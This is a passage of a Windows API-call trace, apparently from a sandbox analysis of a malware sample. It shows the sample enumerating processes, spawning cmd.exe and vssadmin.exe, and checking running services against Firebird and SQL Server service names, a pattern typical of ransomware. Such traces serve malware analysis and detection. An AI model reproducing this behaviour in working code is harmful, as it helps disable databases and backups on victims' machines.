	[0097.221] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0097.222] lstrlenW (lpString="svchost.exe") returned 11
	[0097.222] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0097.223] lstrlenW (lpString="svchost.exe") returned 11
	[0097.223] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0097.224] lstrlenW (lpString="svchost.exe") returned 11
	[0097.225] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0097.225] lstrlenW (lpString="audiodg.exe") returned 11
	[0097.225] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0097.226] lstrlenW (lpString="svchost.exe") returned 11
	[0097.226] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0097.227] lstrlenW (lpString="svchost.exe") returned 11
	[0097.227] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0097.229] lstrlenW (lpString="dwm.exe") returned 7
	[0097.229] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0097.230] lstrlenW (lpString="explorer.exe") returned 12
	[0097.230] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0097.231] lstrlenW (lpString="spoolsv.exe") returned 11
	[0097.231] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0097.374] lstrlenW (lpString="taskhost.exe") returned 12
	[0097.374] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0097.375] lstrlenW (lpString="svchost.exe") returned 11
	[0097.375] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0097.376] lstrlenW (lpString="taskeng.exe") returned 11
	[0097.376] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0097.378] lstrlenW (lpString="taskhost.exe") returned 12
	[0097.378] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="similarlyvaultsquirting.exe")) returned 1
	[0097.379] lstrlenW (lpString="similarlyvaultsquirting.exe") returned 27
	[0097.379] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wisdom-restaurant.exe")) returned 1
	[0097.381] lstrlenW (lpString="wisdom-restaurant.exe") returned 21
	[0097.381] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="zoo.exe")) returned 1
	[0097.382] lstrlenW (lpString="zoo.exe") returned 7
	[0097.382] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formula-graduates.exe")) returned 1
	[0097.388] lstrlenW (lpString="formula-graduates.exe") returned 21
	[0097.388] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="determined.exe")) returned 1
	[0097.389] lstrlenW (lpString="determined.exe") returned 14
	[0097.389] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressreflectmovement.exe")) returned 1
	[0097.390] lstrlenW (lpString="expressreflectmovement.exe") returned 26
	[0097.390] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hansen mails.exe")) returned 1
	[0097.391] lstrlenW (lpString="hansen mails.exe") returned 16
	[0097.391] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="choirsas.exe")) returned 1
	[0097.392] lstrlenW (lpString="choirsas.exe") returned 12
	[0097.392] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="skirt_races.exe")) returned 1
	[0097.393] lstrlenW (lpString="skirt_races.exe") returned 15
	[0097.393] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actors_radius.exe")) returned 1
	[0097.394] lstrlenW (lpString="actors_radius.exe") returned 17
	[0097.394] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scheduling.exe")) returned 1
	[0097.395] lstrlenW (lpString="scheduling.exe") returned 14
	[0097.395] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="michael.exe")) returned 1
	[0097.396] lstrlenW (lpString="michael.exe") returned 11
	[0097.396] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="worldcatcommonwealth.exe")) returned 1
	[0097.397] lstrlenW (lpString="worldcatcommonwealth.exe") returned 24
	[0097.397] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pleasure.exe")) returned 1
	[0097.398] lstrlenW (lpString="pleasure.exe") returned 12
	[0097.398] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering_subsidiary.exe")) returned 1
	[0097.399] lstrlenW (lpString="entering_subsidiary.exe") returned 23
	[0097.399] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="electron.exe")) returned 1
	[0097.400] lstrlenW (lpString="electron.exe") returned 12
	[0097.400] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eligible-terry-procedures.exe")) returned 1
	[0097.401] lstrlenW (lpString="eligible-terry-procedures.exe") returned 29
	[0097.401] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="telling-copper-couples.exe")) returned 1
	[0097.402] lstrlenW (lpString="telling-copper-couples.exe") returned 26
	[0097.402] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rolled midlands.exe")) returned 1
	[0097.403] lstrlenW (lpString="rolled midlands.exe") returned 19
	[0097.403] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pointer.exe")) returned 1
	[0097.404] lstrlenW (lpString="pointer.exe") returned 11
	[0097.404] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gd logos.exe")) returned 1
	[0097.405] lstrlenW (lpString="gd logos.exe") returned 12
	[0097.405] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="algebra validity.exe")) returned 1
	[0097.406] lstrlenW (lpString="algebra validity.exe") returned 20
	[0097.406] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="drunk_opinion.exe")) returned 1
	[0098.221] lstrlenW (lpString="drunk_opinion.exe") returned 17
	[0098.221] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0098.222] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0098.222] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="p.exe")) returned 1
	[0098.223] lstrlenW (lpString="p.exe") returned 5
	[0098.223] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0098.224] lstrlenW (lpString="cmd.exe") returned 7
	[0098.224] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0098.225] lstrlenW (lpString="conhost.exe") returned 11
	[0098.225] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xa4c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0098.226] lstrlenW (lpString="vssadmin.exe") returned 12
	[0098.226] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xa4c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0098.227] CloseHandle (hObject=0x1e8) returned 1
	[0098.227] Sleep (dwMilliseconds=0x1f4) 
	[0098.992] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0c40
	[0098.992] EnumServicesStatusExW (in: hSCManager=0x35d0c40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 0
	[0098.992] GetLastError () returned 0xea
	[0098.992] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x123e) returned 0x36ba4f0
	[0098.992] EnumServicesStatusExW (in: hSCManager=0x35d0c40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36ba4f0, cbBufSize=0x123e, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36ba4f0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 1
	[0098.993] CloseServiceHandle (hSCObject=0x35d0c40) returned 1
	[0098.993] lstrlenW (lpString="Appinfo") returned 7
	[0098.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0098.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0098.993] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0098.993] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0098.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0098.993] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0098.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0098.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0098.993] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0098.993] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0098.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0098.994] lstrlenW (lpString="AudioSrv") returned 8
	[0098.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0098.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0098.994] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0098.994] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0098.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0098.994] lstrlenW (lpString="BFE") returned 3
	[0098.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0098.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0098.994] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0098.994] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0098.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0098.994] lstrlenW (lpString="CryptSvc") returned 8
	[0098.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0098.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0098.994] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0098.994] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0098.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0098.994] lstrlenW (lpString="CscService") returned 10
	[0098.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0098.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0098.994] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0098.994] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0098.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0098.994] lstrlenW (lpString="DcomLaunch") returned 10
	[0098.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0098.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0098.995] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0098.995] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0098.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0098.995] lstrlenW (lpString="Dhcp") returned 4
	[0098.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0098.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0098.995] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0098.995] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0098.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0098.995] lstrlenW (lpString="Dnscache") returned 8
	[0098.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0098.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0098.995] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0098.995] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0098.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0098.995] lstrlenW (lpString="DPS") returned 3
	[0098.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0098.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0098.995] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0098.995] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0098.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0098.995] lstrlenW (lpString="eventlog") returned 8
	[0098.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0098.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0098.995] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0098.995] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0098.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0098.996] lstrlenW (lpString="EventSystem") returned 11
	[0098.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0098.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0098.996] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0098.996] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0098.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0098.996] lstrlenW (lpString="gpsvc") returned 5
	[0098.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0098.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0098.996] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0098.996] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0098.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0098.996] lstrlenW (lpString="iphlpsvc") returned 8
	[0098.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0098.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0098.996] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0098.996] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0098.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0098.996] lstrlenW (lpString="LanmanServer") returned 12
	[0098.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0098.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0098.996] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0098.996] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0098.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0098.996] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0098.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0098.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0098.996] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0098.996] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0098.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0098.997] lstrlenW (lpString="lmhosts") returned 7
	[0098.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0098.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0098.997] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0098.997] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0098.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0098.997] lstrlenW (lpString="MMCSS") returned 5
	[0098.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0098.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0098.997] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0098.997] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0098.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0098.997] lstrlenW (lpString="MpsSvc") returned 6
	[0098.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0098.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0098.997] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0098.997] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0098.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0098.997] lstrlenW (lpString="Netman") returned 6
	[0098.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0098.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0098.997] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
